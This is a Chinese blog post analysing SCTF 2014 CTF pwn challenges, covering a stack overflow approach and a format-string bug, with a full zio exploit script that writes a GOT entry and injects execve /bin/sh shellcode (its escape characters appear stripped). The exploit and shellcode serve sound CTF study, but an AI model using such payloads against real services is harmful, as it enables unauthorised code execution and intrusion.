• SCTF 2014 pwn题目分析


    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目。主防项目目前先搁置起来了,等比赛打完再去搞吧。

    这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出、一道格式化字符串、一道堆溢出。

    pwn200

    一个栈溢出。

    题目给出了libc。保护只有nx。

    拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址。然后用这个地址去覆盖一个函数的got表。

    pwn300

    一个明显的格式化字符串漏洞,格式化字符串本身是在bss段中的,但是又复制到局部数组里了,想必是出题人为了降低难度。这个也给出了libc。但是没有办法像栈溢出那样leak出got表的内容。虽然可以向任意地址写但是却不知道改写入的地址是多少。第二个问题就是参数,要想执行system就得构造/bin/sh这个参数。这个参数怎么搞?

    就是说有两个问题摆了出来

    1.如何求system的地址,虽然有libc可以算偏移,但是没法leak got表啊
    2.如何布置参数,可以写在数据段里,但是怎么作为参数?

    解决方法是不使用ret2libc的方法,而是在固定地址的bss里放置shellcode,再把got表指过去。

    具体的就是利用了接受留言内容的那个bss缓冲区了。

    这样就解决了上面那两个问题

     1 #SCTF2014 pwn200
     2 #exp by Ox9A82
     3 from zio import *
     4 import time
     5 io=zio('./pwn300')
     6 
     7 chuan1='x20x91x04x08%37248c%7$hn
    '
     8 shellcode="x31xc0x31xd2x31xdbx31xc9x31xc0x31xd2x52x68x2fx2f" 
     9                 "x73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0" 
    10                 "x0bxcdx80
    "
    11 
    12 io.read_until('choice:')
    13 io.write('2
    ')
    14 io.read_until('message')
    15 io.write(chuan1)
    16 io.read_until('choice:')
    17 io.write('3
    ')
    18 
    19 io.read_until('choice:')
    20 io.write('2
    ')
    21 io.read_until('message')
    22 io.write(shellcode)
    23 io.read_until('choice:')
    24 io.write('4
    ')
    25 
    26 io.interact()
  • 相关阅读:
    [轉]Array of pointer VS. Pointer to Array
    VirtualBox 4.2.4 Network setting
    [轉]Interview
    REMOVE “EVAL(BASE64_DECODE” USING LINUX COMMANDS FROM ALL PHP FILES ACROSS MULTIPLE WORDPRESS
    Virtualbox 掛載共用資料夾,解決掛不起來的問題。
    Web shell in php
    端口轉發映射,突破內網
    String 處理 in Java
    [轉]java学习笔记 【二】 常见错误 Class files on classpath not found or not accessible for
    如何讀取float型態資料在記憶體中的值
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5480015.html
Copyright © 2020-2023  润新知